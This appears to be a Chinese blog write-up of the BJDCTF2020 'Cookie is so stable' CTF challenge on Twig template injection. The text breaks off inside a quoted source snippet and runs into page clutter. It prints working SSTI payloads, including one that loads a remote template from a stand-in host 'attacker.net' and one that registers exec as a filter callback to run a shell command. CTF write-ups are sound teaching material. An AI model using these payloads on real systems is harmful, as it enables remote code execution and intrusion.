[WP/SSTI/PHP_Twig]Cookie is so stable解题/Twig模板注入

本文详细介绍了PHP-Twig模板引擎中的安全漏洞,特别是如何利用Self.env属性进行远程文件包含和任意函数调用。通过注册回调函数和过滤器,可以实现命令执行。文中提供了解题思路和payload示例,并探讨了可能的利用方式,如文件包含和触发XSS。

[BJDCTF2020]Cookie is so stable

PHP-Twig模板注入

参考了知乎大佬的文章:https://zhuanlan.zhihu.com/p/28823933

通过_self我们可以调用环境变量中的env属性,当PHP打开远程加载文件的参数(allow_url_include)时,问我们可以通过它来实现远程文件包含

{
  
  {_self.env.setCache("ftp://attacker.net:2121")}}{
  
  {_self.env.loadTemplate("backdoor")}}

利用getFilter函数中的危险函数call_user_func,我们可以实现任意函数调用

{
  
  {_self.env.registerUndefinedFilterCallback("exec")}}{
  
  {_self.env.getFilter("cat /flag")}}
// 前半段的含义为将`exec`注册为回调函数,后半段为回调参数

源码为

public function getFilter($name)
  {
   
   
    ...
    // 遍历回调函数,以$name为参数
    foreach ($this->filterCallbacks as 
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值